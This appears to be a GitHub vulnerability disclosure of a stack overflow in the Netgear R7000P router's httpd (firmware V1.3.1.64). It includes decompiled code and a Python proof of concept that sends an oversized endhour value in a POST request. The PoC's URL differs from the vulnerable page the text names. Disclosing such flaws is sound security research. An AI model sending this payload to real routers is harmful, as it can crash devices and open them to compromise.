

RobinWang825 / **IoT_vuln** Public

Code

Issues 1

Pull requests

Actions

Projects

Security

Insights

main

IoT_vuln/Netgear/R7000P/10/

wangshi

...

Oct 26, 2022



..



images

Oct 26, 2022



readme.md

Oct 26, 2022



adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

1. product information: <https://www.netgear.com>
2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.1.64_10.1.36.zip

Affected version

V1.3.1.64

Vulnerability

The stack overflow vulnerability is in /usr/sbin/httpd. The vulnerability occurs in the sub_5835C function, which can be accessed via the URL http://routerlogin.net/FW_schedule_ppp2.htm.

```

21 sub_1A54C(a1, "schedule_day", v16, 256);
22 sub_1A54C(a1, "schedule_alldayenable", v15, 256);
23 sub_1A54C(a1, "starthour", v14, 256);
24 v19 = 1;
25 v20 = v14;
26 v21 = strlen(v14);
27 v18[0] = 2;
28 v18[1] = 0;
29 v18[2] = 23;
30 if ( sub_D1B9C(v19, v20, v21, v18) )
31     return sub_D1B50(a2);
32 sub_1A54C(a1, "startminute", v13, 256);
33 sub_1A54C(a1, "endhour", v12, 256);
34 sub_1A54C(a1, "endminute", v11, 256);
35 sub_1A54C(a1, "result", v10, 256);
36 sub_1A54C(a1, "time_zone", v9, 256);
37 sub_1A54C(a1, "schedule_daylightadjust", v8, 256);
38 if ( !strcmp(v10, "cancel") )
39     return sub_1B9E8("FW_schedule_ppp2.htm", a2);
40 if ( atoi(v15) == 1 )
41 {
42     strcpy(v14, "0");
43     strcpy(v13, "0");
44     strcpy(v12, "23");
45     strcpy(v11, "59");
46 }
47 v5 = atoi(v16);
48 v6 = v5;
49 if ( v5 > 128 )
50     v6 = v5 - 128;
51 sprintf(v17, "%d:%s:%s:%s:%s", v6, v14, v13, v12, v11);
52 v7 = acosNvramConfig_set((int)&unk_11171C, (int)v17);
53 acosNvramConfig_save(v7);
54 sub_4D640();
55 sub_1B9E8("FW_schedule_ppp2.htm", a2);
56 return 0;
57 }

```

vuln

Parameters `starthour`, `startminute`, `endhour`, `endminute` are controllable and will be passed into the `sprintf` function. It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

PoC

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
l1 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'endhour=' + p1 # payload
p3 = b"POST /WLG_wireless_dual_band_r10.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

